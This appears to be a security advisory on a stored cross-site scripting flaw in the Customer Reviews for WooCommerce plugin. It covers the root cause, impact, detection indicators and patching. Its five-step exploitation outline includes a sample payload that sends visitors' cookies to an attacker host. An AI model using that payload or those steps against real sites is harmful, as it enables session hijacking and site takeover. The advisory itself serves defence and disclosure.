CVE-2025-14891: 
WordPress vulnerability analysis and mitigation

CVE-2025-14891 is a Stored Cross-Site Scripting (XSS) vulnerability in the Customer Reviews for WooCommerce plugin for WordPress, affecting all versions up to and including 5.93.1. The flaw exists in the displayName parameter due to insufficient input sanitization and output escaping. It was published on January 7, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the displayName parameter passed via an AJAX action in class-cr-local-forms-ajax.php is not properly sanitized before being stored and later rendered in form-customer.php without output escaping (Wordfence). Authenticated attackers with customer-level access or above can inject arbitrary JavaScript that executes in the browsers of users who visit the affected page. The AJAX action can also be invoked without authentication if the attacker knows a valid form ID — obtainable by placing an order — making the vulnerability exploitable by unauthenticated users when guest checkout is enabled (Wordfence, Plugin Changeset).

Successful exploitation allows attackers to inject persistent malicious JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims (including administrators), and potential site takeover if an admin account is compromised. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to affect other users' browsers (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.198%, indicating a low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires either a customer-level authenticated session or, in guest checkout scenarios, the ability to place an order to obtain a valid form ID.

1. Reconnaissance: Identify a WordPress site running the Customer Reviews for WooCommerce plugin version ≤ 5.93.1 with WooCommerce active.
2. Obtain a valid form ID: Place an order on the target WooCommerce store (authenticated as a customer, or as a guest if guest checkout is enabled) to obtain a valid review form ID.
3. Craft malicious payload: Prepare a stored XSS payload to inject into the displayName parameter, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Submit via AJAX action: Send a crafted HTTP POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) invoking the relevant action with the malicious displayName value and the obtained form ID.
5. Trigger execution: Wait for a site user or administrator to visit the page where the injected review/display name is rendered; the malicious script executes in their browser, enabling session hijacking or further attacks (Wordfence, Plugin Source).

• Network: Unusual POST requests to /wp-admin/admin-ajax.php containing HTML or JavaScript tags within the displayName parameter; outbound requests from victim browsers to unknown external domains shortly after visiting WooCommerce review pages.
• Logs: WordPress or web server access logs showing AJAX requests with encoded script tags or event handlers (e.g., <script>, onerror=, onload=) in POST body parameters.
• File System: No direct file system artifacts expected for this XSS type, but review database entries containing raw HTML/JavaScript in the displayName field should be treated as suspicious.
• Database: WordPress database (wp_* tables related to Customer Reviews for WooCommerce) containing unsanitized HTML or JavaScript in display name fields.

Users should update the Customer Reviews for WooCommerce plugin to version 5.93.2 or later, which includes the fix applied in changeset 3424980 (Plugin Changeset). As an interim workaround, site administrators can disable guest checkout to reduce the unauthenticated attack surface, and restrict customer registration if not required. Monitoring AJAX requests for script injection patterns via a Web Application Firewall (WAF) such as Wordfence is also recommended.

Wordfence included this vulnerability in their weekly WordPress vulnerability report for January 5–11, 2026, and Sucuri highlighted it in their January 2026 vulnerability patch roundup (Wordfence Blog, Sucuri Blog). Community discussion has been limited, with no significant social media controversy or high-profile researcher commentary noted beyond standard vulnerability tracking.